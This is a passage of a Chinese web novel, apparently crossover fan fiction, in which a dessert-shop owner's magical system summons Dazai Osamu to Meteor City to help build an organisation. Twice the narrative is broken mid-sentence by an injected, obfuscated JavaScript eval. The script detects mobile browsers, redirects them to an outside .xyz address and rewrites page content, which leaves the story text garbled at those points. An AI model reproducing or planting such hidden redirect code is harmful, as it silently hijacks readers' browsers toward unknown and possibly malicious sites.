橘相月总觉得哪不对劲。 他看了眼沙发上冷脸吃赔罪蛋糕的江户川乱步，又有点不确定。 如果不是真的生气，应该不会在吃到喜欢的点心时都不笑的……吧？ 捉摸不透，橘相月干脆不琢磨，反正赔罪方案是江户川乱步自己讨价还价到满意的，多让他吃个蛋糕而已，他又不亏什么，还是正事重要。 新家人！ 橘相月心念一动，一张透明面板出现在眼前，正中心是个下方写着『家人』二字的圆形按钮。 食指落在他人眼中的虚空，指腹处的皮肤微微向内凹陷，证明那是真的有东西存在。 江户川乱步眼睛忽的错愕睁大。 5. 第 5 章（一更） 一层细碎星光从红发青年指尖散开，其中蕴含着某种说不清道不明的骇人力量，周围无形的空间被不断扭曲旋转放大，变作一人高的圆弧光门，如女巫水晶球占卜的一面，颤抖着出现水面似薄膜。 水幕褪去，一名幽灵似的鸢眸少年站在那，面无表情望着他们。 他拥有一头海藻似蓬松的短发，乱糟糟盖住额头，黑色风衣的衣摆上沾染着火药味和块状暗色，手心握着团不知从哪扯下来的、乱七八糟的绷带自然垂落，能隐约看到掌根处刺眼的鲜血。 【名称：太宰治 性别：男 年龄：18周岁 身份：港口黑手党干部（叛逃中） 异能/念：「人间失格」，效果为异能无效化（念力通用） 爱好：螃蟹、酒精、在暴力、血腥和黑暗中寻求生命的意义（近期可能会有所改变） 厌恶：狗、疼痛、中原中也】 “你们……” 那双鸾色瞳孔冰冷空洞，眼底翻涌的阴翳杂质，能将人拖入深不见底的绝望泥沼，在黏稠的恶意中窒息而亡。少年音色低哑，黑洞洞的枪口悄然对准站在房间中央的红发青年。 【场景卡已触发，家人「太宰治」，正在前往——「流星街」】 * 一颗黄铜子弹悬停在半空，被人轻轻摘下。 橘相月把它用彩纸包裹，对折起来，打开电脑桌下的抽屉，在最里面还放着张折好的彩纸，里面是颗9.02毫米的子弹，来自江户川乱步的配枪。他把两张彩纸叠放在一起。 怀着某种奇怪收集欲被满足的愉快，他好奇：“见面开枪是你们黑手党独有的打招呼方式吗？” 一言不讲先杀人，跟小猫应激似的。 没能得到回答，疑惑回头，发现江户川乱步睁大了眼，翠绿眼珠颤动，以一种他从未表露出过的狂热目光死死盯着太宰治出现又消失的地方，仿佛看到某种隐藏在空间宇宙之下的暗潮涌动。 “乱步？”橘相月试图唤醒他。 江户川乱步猛的回头，激动：“我不认识他，店长！” 橘相月懵：“啊，我看卡面上写他也是港口黑手党干部……难道有两个叫港口黑手党的组织吗？” 江户川乱步摇摇头，又点点头：“是也不是。” 他曾给橘相月讲过他的老东家港口黑手党：盘踞横滨地下世界的黑暗主宰，连政府和军警都要忌惮三分的可怕势力。 “准确来说，我认识太宰，但我认识的不是这个太宰。” 橘相月：？ 试图理解，若有所思。 “平行宇宙？” 为了跟上江户川乱步的思维，不再被比自己小的孩子用看白痴的怜爱目光看，他读了很多「甜蜜的家」里的书，常识基本补全了。效果也很显著，江户川乱步看他的目光从没开智的原始人变成了稍微通人性的原始人。 “观点来自量子力学的不稳定，假设有无数与原宇宙平行存在着的，既相似又不同的其他宇宙，例如本世界失忆的我，在平行宇宙中可能没有失忆继续金融工作，也可能是警察或黑手党，或者是女性和非人类。” “不算太笨。”江户川乱步叉着腰。 “店长你是住在大都市的和平笨蛋，又失忆了，所以我不能问你港口黑手党的五大干部是谁，高濑会是什么时候消失的来确定我们是否来自同一个世界、时间，但太宰，从他不认识我就能猜到——你看到太宰的手了吗，店长。” “血吗？”橘相月回忆了一下。 少年微微蜷起的手心全是血渍，泛着未干的晶莹，从指尖到掌根，连带缠在腕骨处的绷带一同染成刺目的鲜红，握在手里那团绷带蹭的脏兮兮。 他脑子里冒出几个黑手党+血的猜想组合，连用红油漆拍玻璃催债都想了，但看江户川乱步表情又一个个否决掉，干脆把系统提供的卡面内容念出来，结果才说完‘叛逃中’的状态。 江户川乱步一拍桌子。 “就是这样！他在叛逃！” 怎么下的定论？ 橘相月大脑运转几轮，发现还是跟不上江户川乱步的思维，安然放弃，等他揭晓。 但江户川乱步从来只说答案，不讲解题过程：“太宰叛逃了！并且大概是在最困难和窘迫的时候被传过来的，和我一……总之，他需要任务完成的那个愿望。” ‘家人’是精挑细选出来的，是对‘愿望’有刚需的人。 江户川乱步心情很好。 亲眼观测橘相月使用那个系统，帮他确定了很多东西。 “那么，能否成功创立一个组织就只是时间问题了，因为创立组织最难的几点：部下的忠诚、首领的人身安全、稳定的人才来源、让部下愿意努力工作的利益共同体，对店长你来说都被解决了。” 橘相月：“哇？” 江户川乱步看了眼一脸恍然的青年，不可避免沉默两秒。 他突然想到自己最担忧的那点——那就是橘相月对完成任务的热情其实没那么高。 并非消极怠工，只是做为普通人对‘统治世界’这种课题的两眼一抹黑。 毕竟谁都知道银行金库中有黄金万两，但实现暴富途中需要经历的筹备、招募同伙、计划、动手、被捕、坐牢乃至枪决，不能不忽略。 所以橘相月一直努力的其实是开甜品店，而不是搞政治搞钱发展线下势力。 江户川乱步眼神逐渐犀利:“所以店长，这种条件下只要你稍微努力一点，完成任务都很简单吧？” 放眼世界，有几个首领在创业初期能打这么富裕的仗！ 橘相月心虚目移:“我……” 乱步:盯 一个月了，橘相月刚拖拖拉拉的把甜品店营业执照办下来！ 虽说他只是稳扎稳打一步步来，工作的同时绝不影响自己享受生活，但这种工作效率，在港口黑手党早被推出去当人肉炸弹了！ 谴责了会每天岁月静好不办正事的首领，江户川乱步轻哼一声，抱胸。 “要不是有我在，店长你根本不可能完成任务。” 橘相月点头:“反正有乱步你，一步步来……啊对了，太宰！把他抽出来之后有新功能出现了。” 他非常生硬的转移了话题。 话落，一片与系统面板有些相似的幽蓝色出现在视野中。 江户川乱步一愣，意识到这东西是原本只有橘相月能看到的系统面板，他伸手去摸，指尖穿透平面。 “这好像是个公共聊天室，可以当做组织内部交流专线来用。我记得乱步你讲过:组织之间的战斗大多时候都可以归纳为情报战，有了这个，dessert shop就没有信息差了。”橘相月满眼希冀望着他，脸上写着‘夸我，“怎么样？” “分析的很好，但这种一眼就能看出来的东西就没必要拿出……店长，我好歹也是你的部下，这么没架子，不怕我看不起你吗？” 那个智商超群看谁都是低能儿的江户川乱步能看得起谁？橘相月不禁思考。 “……”算了。江户川乱步叹口气。 这样也好。 聊天室里很快出现第一条消息。 【太宰治：异能？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434048|184934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们是什么人，有什么目的】很经典的你是谁，这是哪，你要干什么三连问。 【江户川乱步:恭喜你被神明选中成为拯救异世界的勇者了！！】 还在研究聊天室的橘相月一回头，江户川乱步已经摸到沙发上去了，正在从他的小箱子里掏零食，一副打算长聊的架势。 见他看过来，用身体遮住扔了一沙发的零食：“先别插话，店长，太宰是个麻烦家伙，被他抓到破绽会很麻烦。” “你……” “我在工作，店长！”江户川乱步严肃打断他，“不要扰乱我的思路。” “……” 橘相月算了下某人本周的甜食摄入量，十分怀疑对方血管里流的都是糖浆。这样下去真的不会吃出事吗？ “其实我是想问，乱步，你看到的聊天室是什么样的？” 见他放弃干涉零食问题，江户川乱步打了胜仗似的盘腿坐好，得意勾唇开始拆薯片包装。 顺口回答:“只能在公共频道发消息。” “哦哦。”橘相月盯着自己聊天室旁边花里胡哨的好几排功能键陷入沉思。让他研究一下…… 【太宰：江户川乱步，那个侦探？】 “哗啦——”塑料膜被猛地扯裂，发出刺耳声响，几片油炸食品的碎屑因为动作过剧飞出袋子。 “乱步？” “……这包薯片好难撕！” 见他没事，橘相月眨眨眼，继续研究聊天室。他这有私聊和拉小群功能，还能开放给家人。 江户川乱步若无其事的恢复行动，把撕下的垃圾随手扔到地上，反正「甜蜜的家」有自清洁功能，两指夹出一片薯片。 【乱步：是名侦探。言归正传，你应该不需要我逐字解释发生了什么吧，太宰】 【太宰：这幅熟人的口吻可真让人火大，侦探先生】 【乱步：作为未来会一起共事的同伴，你可以叫我‘乱步’】 【太宰：凭什么？】 【乱步：首领手里有延年益寿的好东西】 【乱步：他还拿着能让你无痛死亡的按钮】 【太宰：……乱步先生，让我们来谈谈完成任务的事吧】 橘相月看不懂他们的机锋，也不是很关心，他现在对太宰治发言内容顶上那个不停闪光的「观测」按键更感兴趣。 抬手去点。 一张超现实半透明大屏应他动作自半空展开，像科幻电影里的中情局总部的监控，以全方位上帝视角展现出太宰治那边的景象。 是相当幕后操手的实时监控。 * 地平线上是沙尘暴似昏黄的天，远处的高楼大厦虚影在恶劣天气映衬下如同扁平的二维画，下方横亘着连绵不绝的低矮建筑，剪影边缘凹凸不平，仔细一看竟有无数垃圾山伴其左右。 这是座与垃圾场混在一起的城市，一望无际。 太宰治靠坐在石灰抹成的窗边，双腿屈起，偏头眺望外界的景色。 【所以这些垃圾和房屋一起……其实是一个国家？】操纵意识交谈对他来说不算难。 【乱步：不是国家，是地区】 因为这里四周被沙漠包围，在任何一个国家的官方记载都是无人地带，被当作公用垃圾场长达一千五百年。 这里是流星街。 实际上是个面积超过六千平方公里，人口过八百万的庞然大物。 这些是与江户川乱步谈拢后，太宰治从聊天室里得到的一份以文档形式发出的「流星街」情报里的内容。 流星街，他的所在地……也是他所谓出生点。 6. 第 6 章（二更） 【所以，我需要让人相信我来自一个很厉害的组织？】 太宰治感到新奇。 不管是那个莫名其妙对他很了解的棘手名侦探、这份详细情报。 亦或者是更复杂的穿越异世界、未来科幻的颅内交流—— 因为太宰治是个无效化异能者，靠触碰被动，通俗来讲就是一切异能对他无效，若是起效便只有一个可能，这一切不是异能。 此刻他的心情就像家养了十多年的猫突然被抱到原始森林，初次嗅到不同于家具、猫粮和玩具的，复杂多彩的自然信息的那种茫然和激动。 惊惶、疑惑、警惕，又迫不及待的想试探更多。江户川乱步告诉了太宰治完成任务后奖励的事，真假无所谓，因为现实摆在眼前，他到了异世界。 【就是你理解的那样】 没有任何前缀的发言，太宰治认出是发出流星街情报文档的那个人。 竟然是活人，而不是系统默认发言什么的吗？ 【太宰：感谢您的帮助，话说您是……】组织中负责情报的干部？ 【乱步：首领】 太宰治突然换了口吻：【啊～您就是要引领我们的首领大人吗，真是杀伐果断风采卓越！】 橘相月愣了下：“他原来是这种性格吗？” 一句没头没尾的话怎么能看出风采？ “习惯就好。”江户川乱步啃了口曲奇，“那家伙经常这么莫名其妙，在火拼现场打游戏，然后突然把游戏机扔给部下自己抓起枪打几发都是常事。” “欸？游戏中途换人会输吧？” “这倒没关系，太宰还不至于因为这个责罚人。”江户川乱步摆手，“就是他的部下很慌张，怀疑会因为遭到干部报复，曾经有人因为这个把自己吓进了医务室，然后太宰就被首领警告不允许在工作的时候玩游戏了，算是建议吧，店长，和太宰这家伙说话越简洁越好。” “简洁……这样吗。”橘相月在聊天室回复，【欢迎加入dessert shop，太宰】 太宰治：？ 聪明大脑罕见陷入停滞的无措，如果没记错他听到的那个单词的意思是…… 江户川乱步好心提供翻译：【甜品店】 真的是英文吗？ 太宰治沉思。 他上一份工作，只要说出‘我是港口黑手党’这句话就会让人吓破胆，现在…… 和人生死对决时摆着帅气姿势冷冽开口：“我是甜品店的成员！” “……” 总觉得差一顶白色帽子和大围裙，还要在身上喷些甜香可口的面包香氛。 【太宰：那个……我能问问咱们组织的势力、据点、经营范围和成员什么的吗？】 【乱步：你，我，自己编，再见，有事也别联络】 “……？？” 太宰治用了两秒判断出这个名字很不靠谱的组织是真的很不靠谱。 不过想想，若已经是港口黑手党那样完善的组织，也用不到绑架他来建设了。 “啧。” 黑发少年松开手，那团一直卧在手里的绷带在空中欢快打了几个璇，最后掉在一根生锈的钢筋上，被风一吹，像飘扬的旗。这里垃圾太多，地面都是一层又一层的垃圾压平了堆在一起。 太宰治想。dessert shop的部下若都是他这样——一无所知、别无选择的被丢到陌生地方，那不就是无成本的无限试错吗？总有人能闯出名堂，见不到首领，没有实体产业，也不用担心背叛。 这样优越的组织框架，首领就算是条狗就能靠时间成功，更别提首领看起来…… 好吧，就算是太宰治也没法从区区两句公事公办的话中得到什么有用信息，不过能让那个江户川乱步为之所用，必然不简单。 在异世界协助神秘人从无到有构建一个组织，且关系比起被命令的部下，更偏向随心所欲的合作人，还挺有趣。 他搓搓掌心干涸的鲜血，指腹下触感发涩。黑发少年神情莫测。 半晌，那双鸾色眸子弯了半度，褪去晦暗的底色，雨过天晴般露出无奈与释然的色彩。 事到如今，不答应也回不去原本世界，倒不如应了给自己找点乐趣。 新世界，新人生……吗？ * 【太宰：hello——boss—— 乱步sang——Are you there～】 太宰发什么疯？ 江户川乱步偏头看窗口。橘相月嫌大屏碍事，把它固定视角挪窗户那去了。 画面中，太宰治已经离开了出生点大楼。 他正猫在一处阴影中，几乎与背景融为一体，鸾色眼眸仿佛吸收了周围一切光线声音，直勾勾盯着远处。 就是紧咬着的后槽牙、鼓着的腮帮子，冲淡了那份气息近乎于无的可怕。 橘相月发现乱步没说话，也暂时放下手头工作，扭头看屏幕。 高高的垃圾山上，几个穿着白色连体防护服的人正在工作。引人注目的是他们面前那几个足有小轿车体积的箱子，还不断有人亲挑出成捆的钢筋碎石板塞进去，一个箱子，保守有几吨重。 结果其中一人把箱子随意卸到身上，嘿呦嘿呦两声，就这么——走了。 若是左边那个胳膊大腿上的肌肉鼓鼓囊囊快有他俩脑袋大的肌肉男就算了，偏偏是个身型萎缩，不到一米五的男子。表情轻松，还笑嘻嘻和同伴聊天。 ……那几只营养过剩的肌肉大猩猩是怎么回事，这还是地球吗？ 半晌，太宰治回答自己。 不是了。 【太宰：至少告诉我这个世界的性质吧，是有妖怪和阴阳师的世界吗】 橘相月也惊了。 他虽然知道这个世界有些不同寻常，例如新闻中常见的魔兽伤人事件，拍卖场成交可以学人说话的植物，菜摊上按粒售卖比人脑袋都大的玉米粒，但相处过的人都还是正常要吃饭喝水的。 但他到底生活了一周，对这个世界比初来乍到的太宰治适应。 “类人型魔兽，还是那个……念能力？” “只是普通人吧。”江户川乱步否决，“给我海藻糖的那个菜摊老板不就是吗，看着瘦瘦小小，其实一个人可以轻松背起上百斤的货物，因为天生肌肉密度很高。” 橘相月思考：”环境普适性？比如生活在寒冷地区的人会更抗冻？” “是世界普适性。”江户川乱步纠正，“因为这个世界有太多奇妙的东西——魔兽、珍兽、秘境、灵草、有特殊天赋的少数民族血脉之类的，所以生活在这里的人类身体素质普遍比我们认知的高。” 橘相月懂了，他把江户川乱步的理论和之前搜集的新闻发了太宰治一份，想了想，加上两句话。 【你的异能在这里可以正常使用，以‘除念师’的身份】 【让我看看你的本领，太宰】 江户川乱步蹦起来，几步跳到橘相月书桌后去看他屏幕，才发现他刚才敲电脑是在找本世界‘无效化能力’的情报。并就这么一小会，已经列出一堆‘除念师’相关情报。 “很有首领的范了啊，店长。”他夸赞，想自己之前是不是错怪了橘相月，能迅速接受他是黑手党的人，再怎么说也不是傻白甜…… “念这东西在市面上和都市怪谈一样，能通过网络得到的情报又少，又真假难辨。”橘相月碎碎念，“发半成品出去丢人，太久什么都不提供也不好……怎么办啊，乱步。” “……” 江户川乱步不想再看某人求助的眼神，转头看屏幕。 好在橘相月那两句够糊人，躲在阴影中的太宰治神色凝重，他大概猜到了‘首领’可能有手段监控他的动向，因此表情的异样只持续了几秒，但却没敢再发什么试探的话。 【太宰：好～】乖到诡异。 ……算了，不被满肚子心眼的部下看透拿捏就好。 江户川乱步叹口气，说服自己释然，不能过分苛责要求一个光明世界长大的普通人。 “甜品店马上要开业了吧。” “嗯，证件和装修都差不多了，我准备一周后营业。” “开业客人我都请好了哦。” “欸？” “是惊喜。”江户川乱步笃定。 既然他都这么说了，橘相月只能点头：“需要我准备什么吗？” “不用。对了，店长。” 江户川乱步终于把今晚的事讲给橘相月听。按理来说这应该是喝完那杯果汁之前的事情。 今晚的故事是，一场政治博弈中夹杂的私人恩仇。 出场人物分别是议员妻子，议员，客人瑞秋夫人，杀手，杰尔登家族的家主尼克，买凶者和无辜的名侦探。 买凶者威胁议员将瑞秋夫人板上钉钉的航海权交给杰尔登家族，于是表演场地——尼克家主庆功晚宴理所当然的搭建起来了。因为买凶者的最终目的是要杀手在最瞩目的地方杀死议员，让杰尔登家族彻底完蛋。 但他没想到，这桩往事的揭露也让议员妻子决心在宴会上杀死议员丈夫，虽然议员如愿死了，但杀手白跑一趟……好吧，也没白跑，这个意外让本来肯定追不上神龙见首不见尾的杀手的侦探得了便宜，打了个小广告。 只有买凶者花冤枉钱的事件诞生了！ “差不多就是这。”江户川乱步侧躺着沙发上，一只手垂到零食箱里扒拉。整个沙发都是他的地盘，除了在外面，他几乎每时每刻都躺、盘腿、趴在上面吃零食、看漫画，或者玩他喜欢的游戏。 “政府不会放过让议员死在众目睽睽下的杰尔登家族，作为商人的瑞秋夫人不会放过这个机会，杀手白嫖了雇佣金，议员妻子杀死了可恨的丈夫，我们把传单塞给杀手，任务进度解锁……很圆满的故事！” 至于妻子为什么要杀死丈夫，是什么让她下定决心……谁知道，谁在乎呢？ “这样啊……”橘相月眨了下眼，梅绿水波映出碎光灿若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434049|184934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 繁星，他好奇，“所以买凶者是谁？” “谁都可以。”江户川乱步撕开一包薯片，‘咔’，膨化食品的碎屑落在唇角，“不过现在是尼克家主了。” 没人在乎。 橘相月听完，继续做自己的事。 这个世界正处于信息革命初期，没有发达的搜索引擎和互联网，通讯也很不稳定，是信息差杀人的黄金时期。 因此他准备建立一个大信息库做组织内部网站，他准备将其命名为——‘异世界指南’。 * 流星街。 太宰治揣摩着首领的话，越想越心惊。 短短两句话，信息量爆炸。 第一，对方对他知根知底，甚至有办法监控观测到他的实况。第二，这个世界的异能力名为念，是另一种与异能不同的力量。第三，最重要的…… ‘除念师’ 这个词很有意思。 它是个描写职业的词汇。 没人闲到给太宰治单独取个无效化师的名字，因为他的名字足够给无效化异能命名。所以‘除念师’这个概念的存在，就说明这个新世界不止一个无效化能力者。 垃圾山上的白色防护服们还在闲聊，边聊边轻松用肌肉爆棚的胳膊从堆叠的废品中扯出半台旧冰箱投掷，另一个人轻松接住，目之所及全是能一拳将太宰治捶成小饼干渣渣的存在。 无效化异能者只是法抗点满，物抗怕冷怕热还怕疼。 于是太宰治悄无声息离开阴影处，朝着远处的影影绰绰溜去，顺带思考……未来。 流星街这片土地的构成非常简单——黒帮、长老会和居民。 黒帮，外来者，但垄断了流星街所有进出外界的交通工具和道路，是流星街实际上的支配者。 长老会，流星街本土的权利集团，十三名成员被称为区长，分别管理十三个区域，独裁制定自己‘小国家’的规则。但至少有一半与黒帮纠缠不清，只占名头。 居民以回收、分拣、加工垃圾为主要营生，因为流星街的可耕种面积和水源都少的可怜，只能靠区长沟通黒帮然后对外界销售处理过的垃圾，换取生活物资。 太宰治想。 完成任务很简单。只要爬上黒帮或长老会的高层，然后狠狠背刺他们一把，在尸体堆上笑着说出那个丢人的组织名字，保准让人日以继夜，夜以继日，咬牙切齿的记住。 这对他来说是比喝水还简单的事。 因为太宰治是港口黑手党史上最年轻的干部，带领部队为黑手党踏出一条血腥道路，坊间传闻被描述为血液中流淌着黑色、遇神杀神、遇魔杀魔、遇父母杀父母的冷酷男人。 在他没遭遇那件事之前—— 太宰治有个朋友，他死了，临终遗言是让他做个好人。 那就做个好人。在新的世界。 黑发少年抬手盖住右眼，他缠了许多年绷带，习惯了视野受限的半边世界，露两只眼反而不太舒服。 几秒后松开手，强迫自己接受现实。 入满目昏黄天际无垠，茫茫垃圾山无边。胖乎乎的飞艇打开后仓，闪着亮光的啤酒瓶、汤汁四溅的厨余垃圾、半片木板、大团大团的废弃塑料……白色连体服人的一哄而上。 【太宰：在吗，老大？】 半分钟后，太宰治上下抛着凭空出现的一卷绷带，意外首领竟然这么好说话，以及对方的神通广大，莫非是空间系异能？全然不知那边一时没看住人，沉默震耳欲聋的江户川乱步。 【太宰:谢谢老大，但一卷只够缠胳膊诶，能不能再来一卷】他讨价还价。 【我只会再帮你一次】 鸾色眸底闪过一丝精光。 【太宰：感谢您的提醒与慷慨，那我就不浪费了】 “还好没再问。”橘相月顺着胸呼了口气。平日被乱步撒娇习惯了，他也顺手满足了太宰治的要求，反正只是点开『商城』按个购买的事情，还是乱步拍了他一下才反应过来。 江户川乱步无语：“……因为他看出来了，店长。” 仁慈的首领不会不提前说求助机会的信息，冷酷的首领不会多此一举提醒，成熟的首领不会放弃拉拢部下的机会，慷慨的首领不会限定次数，这漏洞百出的矛盾规则明显是现想来找补的。 橘相月懵：“嗯？” “算了。”江户川乱步很命苦的吸了一大口汽水，“店长，我今天要多喝一瓶。” 橘相月下意识：“不行。” “你给太宰买绷带。”翠绿眸子睁开，写满控诉。 橘相月突然想起迄今为止所有组织资金钱都是江户川乱步赚来的，轻咳一声。 “喝果汁吧，汽水喝多了对牙不太好。” * 太宰治曾听说过垃圾城的事，那是埃及的穆塔卡琳，居住着扎巴林人，他们以处理开罗一千多万人生活垃圾为生，这几万人在肮脏的垃圾堆里建立起一套独一无二的垃圾经济体系，世代在此生活繁衍。 7. 第 7 章 在垃圾堆里深一脚浅一脚蹚了十几分钟后，太宰治终于看到了城市。 这的建筑是很典型的沙漠风格，放眼望去一排排土黄沙色方块，厚墙构造的低矮平顶建筑紧凑在一起，中间隔出棋盘似工工整整的狭窄巷子，供人和回收工运进城的‘货物’前进。 隐约能在缝隙里看到被众星拱月的巨型圆顶教堂，尖头的哥特式教堂十字高悬，巴洛克浮雕天使在平顶教堂上祈祷，还有从未听过形制的神庙矗立其中，顶端用垃圾堆里捡出的轮胎和彩色塑料装饰。 一座……很奇特的融合城市。 就像城外的垃圾山一样，所有元素被乱糟糟地堆叠在一起，但却出乎意料的和谐与……生机勃勃。 像是岩石缝中拼命萌芽的草木，荒芜中诞生的奇迹。这片土地，生存在这里的人的生命力令人失语。 想进入流星街并不难。 “我们不拒绝任何东西，但也别想从我们手里夺走什么”——这是流星街人的座右铭。 流星街人接受并包容被这个世界抛弃的一切，武器、垃圾、金属、婴儿，只要落在这片土地上的，都被动被冠以流星街的印章。 太宰治拾起一块碎砖，毫不犹豫用尖锐的那一角划烂身上风衣的衣摆。 扶持一个组织。 不过是……再来一次。 * 佩迪是一名流星街人，来自七区。 流星街的居民分为三种。 第一种是世代居住于此的居民，第二种是从外面来的黒帮成员，第三种是因为各种原因进来的外来者。 佩迪属于第三种。 他之前是卡金国的某个杀手组织的成员，任务失败后被弃尸垃圾桶，结果运气好赶上废品站清理日，误打误撞被运送垃圾的飞艇带到流星街，还被当地人捡到，大难不死后，融入了这里。 佩迪的工作是分拣飞艇倾倒出的第一批垃圾，这是个好活，因为有概率会捡到好东西，可能是混进垃圾桶的珠宝赃物，功能完好只是有点旧的家电，甚至是一个奄奄一息的婴孩。 “一箱果汁，漂亮。约翰，接着拿回去给芬妮喝。” 佩迪从垃圾堆中抱出一个破破烂烂的纸箱子，这箱子质量很好，在飞艇内部长途跋涉的运过来，只是外表被撞的破破烂烂，里面果汁一袋没丢。 他丢给边上的同伴，约翰在教堂做了一个女孩的教父，比他需要这个。 “谢了伙计，等会找到酒先分给你！”约翰高兴地接住箱子，掂量了一下，果汁在袋子里轻晃。至于保质期，流星街没人在乎这个，尤其是他们这种非中心区的边缘区人，肠胃普遍可以消化鳄鱼皮。 佩迪咧开嘴，呼吸和声音从防护服过滤口吐出：“我更希望你找一个孩子给我。” 新的孩子在流星街非常值钱，交给教堂能换取一笔不菲的奖励，足够他不工作一个多月，隐性好处更多。 “想什么呢。”约翰嘲笑他，“你以为孩子是坏闹钟吗。” 一个孩子想进流星街，首先要在废品站成堆的垃圾和腐臭味里待上不知道多长时间，再被挖掘机装到运送垃圾的飞艇，路途若干天，然后抵达流星街上空。 有些飞艇会降低一点再开仓，但更多驾驶员习惯在离地几百米的地方开门抛物，因为他们受不了地上的恶臭。再在流星街恶劣的高温与室外垃圾场的有毒环境下暴晒，直到好运被人发现捡走。 这一套流程下来，还能活着的，堪称凤毛麟角。 “这不是希望吗，人总要想点什么的，比如我今晚就想去红角街喝上几杯……约翰，你看那是什么，那好像有东西在动。”佩迪突然用胳膊肘捅了下约翰。 “别拿我寻开心，伙计。” 约翰压根不信，佩迪却没和他争执，大步朝那边走过去，很快，那边传来他因为惊讶有些失真的声音。 “是个活人，约翰，一个少年！他在呼吸！” 一团脏兮兮的床垫被褥旁躺着一个单薄的身影。 少年蜷缩着身体，只露出小半张被污渍沾染、毫无血色的侧脸，宽大的黑色风衣破破烂烂，额头处有块磕碰出的皮肉外翻，伤口还新鲜，不断渗着暗色血珠，相当骇人。 听到声音，他费力睁开眼睛，露出细长一条的鸾色瞳孔，空洞无神。 * 太宰治在合适的时候‘悠悠转醒’。 他睁开眼，与天花板略显陈旧的吊灯对视，随后缓缓转头。 这是个很干净的房间，两张有点旧的铁架床并排放置，床单干净，脑下的枕头也蓬松绵软。 若非窗外浮动的黄沙尘与空气中的燥热，谁也想不到这里是垃圾城的内部。 墙上用粉笔画了很多徘A4大小的白色框架，以墙为纸绘制着歪歪扭扭的儿童画，还有些看不懂的字符，应该是流星街的文字。送太宰治来的那两个人说话他听不懂。 不过大概能推测出是被送到类似孤儿院、儿童医院的地方了。 这地方对孩子的政策比他想的友好，或者是他运气好？太宰治都做好一觉醒来被关到笼子里的打算了。 “（*……?#?％……” 叽里呱啦的声音由远及近，说话的是个身材矮小瘦削的老人，身着白袍，第一眼给人种西方神话中为神所眷顾的神父的慈祥亲近感。他正在和身后穿着黑色高领毛衣的小女孩说话。 齐肩黑发修剪整齐，鼻梁上架着足遮住半张脸的黑框眼镜，金色倒十字项链贴着胸口，茶褐色眼眸波澜不惊，面无表情，但莫名给人种很呆的感觉。 神父看到太宰治醒了，转头与小女孩说了些什么，她点头转身离开。从头没有看太宰治一眼。 “a……” 太宰治张张嘴，吐出一个沙哑音节，便抿唇攥住床单，肩膀紧绷，鸾色眼底是警惕和恐惧。 但出乎意料的是，神父张嘴吐出一串流利的日语。 “睡醒了吗，好孩子。” ？ 原来异世界人也说日语？但为什么会精准对他说日语？神父说话的语气潜藏着一种‘说这个他肯定能听懂’的笃定。 太宰治感觉这是个重点。 * 咖喱块划入锅底，在火舌的舔舐下咕嘟冒泡，逐渐吞没土豆和萝卜块，散发出诱人香气。 橘相月拿锅铲的手一顿，思索：“我是不是忘了什么东西，乱步。” 江户川乱步淡定：“没关系，不重要。” “哦，那就好。”他都这么说了，橘相月就放心了，拿起鸡蛋，“你今天想吃厚蛋皮还是薄蛋皮？” * 这**是什么？ 太宰治盯着神父递到面前打开的书，上面是歪歪斜斜的符号，与墙上那种不同，不重要，重要的是他都不认识，只勉强通过某些相似符号和反复出现的疑似‘数字’判断出这是本数学相关的书。 他没掩饰自己眸中的迷茫，文字不是浅显易懂的情报，不懂就是不懂，没办法在短时间内学会。 神父敏锐捕捉到：“你不懂数学？” 干了好几年黑手党干部，分分钟谈上百万千万生意都得心应手的太宰治：“……我不识字。” 谁能告诉他，为什么会有一种和日语发音一致，但文字八杆子打不着的语言。小学生的自创文字吗？ 神父眼底流露出失望，伸手捋了捋花白茂密的胡子，说话时胡子像团棉花一颤一颤，看不见嘴唇张合，声音不紧不慢，像念诵圣经似的令人心安。 “原来如此，可怜的孩子，你叫什么名字？” 太宰治似乎被他温和的外表蒙蔽，紧绷的身体慢慢放松下来。 “……太宰治。” “好听的名字，你的父母一定很爱你，你是从哪来的？” “……”鸾色眸子一颤一颤，躲闪着不敢对视。 “不愿意说吗。”神父没有强迫，“每一个人都有过去的秘密，主会宽恕你的，孩子，身体怎么样。” 太宰治明显松了口气。 他仰头看着这位仁厚可靠的神父，鸾色眸底泛出几分水光，那是一个惶恐不安的孩子在奔向安全港湾时的触动，配上额头狰狞的伤口——他们只给他涂了药，没有绷带纱布。看起来格外可怜。 “这是什么地方？” “流星街，以后会有人告诉你。现在回答我你的身体怎么样，可以走路吗。”神父声音中带上一丝威严。 太宰治像被吓到了：“应该……可以？” “那你该工作了。”神父一锤定音，“本来想让你教孩子们学通用语或者数学的，但既然你不会，那就去区外做回收工、帮忙处理垃圾，或者，你会做饭吗，孩子？莱尔小姐和我说过她缺个帮厨。” 太宰治：？ 话题跳跃过快，他聪明的大脑有一瞬宕机。 他沙哑开口：“我的伤……” “药物的费用？慢慢还就好了。”神父仁慈的微笑，胡子像天使翅膀，“选吧，好孩子，你要做什么工作。” 太宰治恍惚摸了下刚刚凝血的伤口。 因为某些小爱好，以及工作时常有的奇思妙想，做黑手党时他就是医务室的常客，被骂浪费了不知多少医疗资源，但从未被催着……干活还债过。 等橘相月把裹着金黄蛋皮的咖喱饭和煎的酥脆的飞鱼端上桌，吃完，躺在阳台欣赏夜景的时候，终于想起自己忘了什么了。 